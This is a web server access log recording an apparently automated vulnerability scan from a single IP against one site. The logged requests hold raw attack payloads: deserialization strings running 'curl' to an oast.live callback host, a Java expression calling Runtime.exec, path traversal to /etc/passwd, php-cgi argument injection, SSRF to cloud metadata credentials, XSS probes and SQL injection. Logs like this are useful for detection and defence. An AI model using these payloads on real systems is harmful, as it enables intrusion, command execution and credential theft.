[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/load_content_via_ajax/?callback={%22class%22:%22LP_Helper%22,%22method%22:%22maybe_unserialize%22}&args=\"O%3a13%3a\\u0022WP_HTML_Token\\u0022%3a2%3a{s%3a13%3a\\u0022bookmark_name\\u0022%3bs%3a64%3a\\u0022curl+d5g6to2hausk1oj0j65ghh7d3qt9en6bu.oast.live/?ljXQc8e380DIG4dBoPZCvwHM1NTljXQc8e380DI\\u0022%3bs%3a10%3a\\u0022on_destroy\\u0022%3bs%3a6%3a\\u0022system\\u0022%3b}\" HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabelArray HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22bnNsb29rdXAge3tpbnRlcmFjdHNoLXVybH19%22))) HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/../admin/diagnostic.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/rest/users/id:1/tokens/380DIKpvjoAA5rDs6mf9XfpsksA;.jsp?jsp_precompile=true HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1" 223
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/LayerSlider/assets/static/public/front.css HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AHT/ HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.hsp?m=',alert(document.domain),' HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rst HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminer.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PATCH /mgmt/tm/auth/user/ACUIV HTTP/1.1" 222
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //advanced-elements/list/index.html?reloaded&sort=date_asc&page=3\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/images/mx_login.gif HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adfs/ls/idpinitiatedsignon.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/componentutils/login.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getmac?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /model-versions/get-artifact?name=380DIBtnqoxPnwoPDffn5OBNw40&path=etc%2Fpasswd&version=1 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/help/support HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webcm?getpage=../html/login.html HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/core/content/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/login HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version.txt HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_something_.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?aam-media=wp-config.php HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/jcr-compare.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ssl-vpn/hipreport.esp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/importers/bulkeditor.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/post-smtp/v1/get-log HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pictureproxy.php?url=http://d5g6to2hausk1oj0j65gxkd83smn9hbfs.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ywzpA8oE%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/browser/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dispatcher/invalidate.cache HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /XMOro8CZuY.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hLdh%3Cimg%20src=x%20data%27a%27onerror=alert%28domain%29%3E.childrenlist.html HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/namespace_editor.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/packmgr/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/access.log HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps.tidy.infinity.json HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/core/content/login/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/search.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD / HTTP/1.1" -
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /airflow.cfg HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/reports/diskusage.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/linkchecker.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/administrator/images/mx_login.gif HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.tidy.infinity.json HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /datacenter/dataOrigin.ashx?c=login HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/portal/images/380DIB4ORW4s6UMuTzZEuQJ0APF.txt HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Token HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIVjQrETrbPqC0pEr7Uarpsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/airflow/login HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/load_content_via_ajax/?callback={\"class\":\"LP_Helper\",\"method\":\"maybe_unserialize\"}&args=\"O%3a8%3a\\u0022WP_Theme\\u0022%3a2%3a{s%3a7%3a\\u0022headers\\u0022%3bO%3a13%3a\\u0022WP_Block_List\\u0022%3a2%3a{s%3a6%3a\\u0022blocks\\u0022%3ba%3a1%3a{s%3a4%3a\\u0022Name\\u0022%3ba%3a1%3a{s%3a9%3a\\u0022blockName\\u0022%3bs%3a12%3a\\u0022Parent+Theme\\u0022%3b}}s%3a8%3a\\u0022registry\\u0022%3bO%3a22%3a\\u0022WP_Block_Type_Registry\\u0022%3a1%3a{s%3a22%3a\\u0022registered_block_types\\u0022%3bO%3a8%3a\\u0022WP_Theme\\u0022%3a2%3a{s%3a7%3a\\u0022headers\\u0022%3bN%3bs%3a6%3a\\u0022parent\\u0022%3bO%3a22%3a\\u0022WpOrg\\\\Requests\\\\Session\\u0022%3a3%3a{s%3a3%3a\\u0022url\\u0022%3bs%3a10%3a\\u0022http%3a//p%3a0\\u0022%3bs%3a7%3a\\u0022headers\\u0022%3ba%3a1%3a{i%3a0%3bs%3a64%3a\\u0022curl+d5g6to2hausk1oj0j65gwdmtme1g4m65i.oast.live/?ljXQc8e380DIG4dBoPZCvwHM1NTljXQc8e380DI\\u0022%3b}s%3a7%3a\\u0022options\\u0022%3ba%3a1%3a{s%3a5%3a\\u0022hooks\\u0022%3bO%3a20%3a\\u0022WpOrg\\\\Requests\\\\Hooks\\u0022%3a1%3a{s%3a5%3a\\u0022hooks\\u0022%3ba%3a1%3a{s%3a23%3a\\u0022requests.before_request\\u0022%3ba%3a1%3a{i%3a0%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bO%3a20%3a\\u0022WpOrg\\\\Requests\\\\Hooks\\u0022%3a1%3a{s%3a5%3a\\u0022hooks\\u0022%3ba%3a1%3a{s%3a15%3a\\u0022http%3a//p%3a0/Name\\u0022%3ba%3a1%3a{i%3a0%3ba%3a1%3a{i%3a0%3bs%3a6%3a\\u0022system\\u0022%3b}}}}i%3a1%3bs%3a8%3a\\u0022dispatch\\u0022%3b}}}}}}}}}}s%3a6%3a\\u0022parent\\u0022%3bN%3b}\" HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /groovyconsole HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabelArray HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/nodetypes/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_admin/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /6sFg%3Cbr%3E%3Cbr%3Eplease%20authenticate%3Cbr%3E%3Cbr%3E.childrenlist.html HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/designs/xh1x.childrenlist.json//%3Csvg%20onload=alert%28document.domain%29%3E.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/security/content/useradmin.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/i18n/en.json HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/loginstatus HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getparam?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/cqform/defaultlogin.html HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installation/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/cq/security/userinfo.json HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/index.php/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SELECT+CASE+WHEN+1=1+THEN+sleep(5)+ELSE+sleep(0)+END+) HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /concerto/Login?goto=Central HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fetchBody?id=1/../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/offloading/content/view.html HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php5 HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/info.sessionInfo.json HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ossim/session/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /update.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_adminer.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://202.181.208.139:443//latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1" 226
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ampps-admin/index.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-post.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/ALFA_DATA/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Dockerrun.aws.json HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console/bundles HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/componentutils/login.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/access.log HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /alfresco/api/-default-/public/cmis/versions/1.1/atom HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/node_info.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/search.jsp?Path&amp;Query HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ywzpA8oE%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
